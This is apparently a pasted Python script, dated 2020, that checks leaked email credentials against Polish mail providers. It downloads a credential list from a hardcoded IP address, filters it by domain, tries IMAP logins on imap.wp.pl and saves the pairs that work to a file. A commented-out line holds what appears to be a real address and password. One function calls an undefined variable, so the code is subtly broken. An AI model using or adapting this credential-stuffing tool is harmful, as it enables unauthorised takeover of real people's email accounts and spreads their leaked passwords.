· 5 years ago · Jul 29, 2020, 07:48 PM
1import requests
2import imaplib
3import time
4
5def write_raw_to_file(filename, link):
6 """
7 :param filename: file name to insert raw data from link
8 :param link: raw data link
9 """
10 try:
11 r = requests.get(link).text
12 with open(filename, 'w', encoding='utf-8', newline='\n') as f:
13 f.write(r)
14 except Exception as e:
15 print(e)
16
17
18def email_login(login, password, imap, port, *args):
19
20 """
21 :param login: email
22 :param password: password
23 :param imap: server's imap
24 :param port: server's port
25 :return: True or False
26 """
27 try:
28 time.sleep(0.2)
29 m = imaplib.IMAP4_SSL(imap, port)
30
31 m.login(login, password)
32 write_correct_credentials_to_file("finded_credentials.txt", login, password)
33 print(f'[+] {login} : {password}')
34
35 except:
36 print(f'[-] {login} : {password}')
37
38
39def extract_specific_server_emails(filename, ending):
40 """
41 Extracting emails from file
42 Usage: extract_specific_server_emails("filename.txt", "wp.pl")
43 :param filename:
44 :param ending: email server ('wp.pl'), ('interia.pl'), ('gmail.com')
45 :return: New file with extracted emails
46 """
47
48 with open(filename, 'r', encoding='utf-8') as f:
49 content = f.readlines()
50 for line in content:
51 if ending in line:
52 with open(f"{ending}.txt", 'a', encoding='utf-8') as f:
53 f.write(line)
54 print('Done')
55
56
57def check_login(filename):
58 """
59 Checking all emails and passwords from file
60 """
61 with open(filename, 'r', encoding='utf-8') as f:
62 content = f.read().split('\n')
63
64 for line in content:
65 try:
66 login, password = line.split(":")
67 email_login(login, password, "imap.wp.pl", 993, i+1)
68 except Exception as e:
69 print(e)
70
71def write_correct_credentials_to_file(filename, login, password):
72 try:
73 content = f"{login}:{password}\n"
74 with open(filename, 'a', encoding='utf-8', newline='\n') as f:
75 f.write(content)
76 except Exception as e:
77 print(e)
78
79# write_raw_to_file('PL.txt', 'http://207.180.202.93/x/PL.txt')
80#email_login("wall-e201@wp.pl", "fenomen201", "imap.wp.pl", 993)
81# extract_specific_server_emails("PL.txt", "wp.pl")
82# check_login("wp.pl.txt")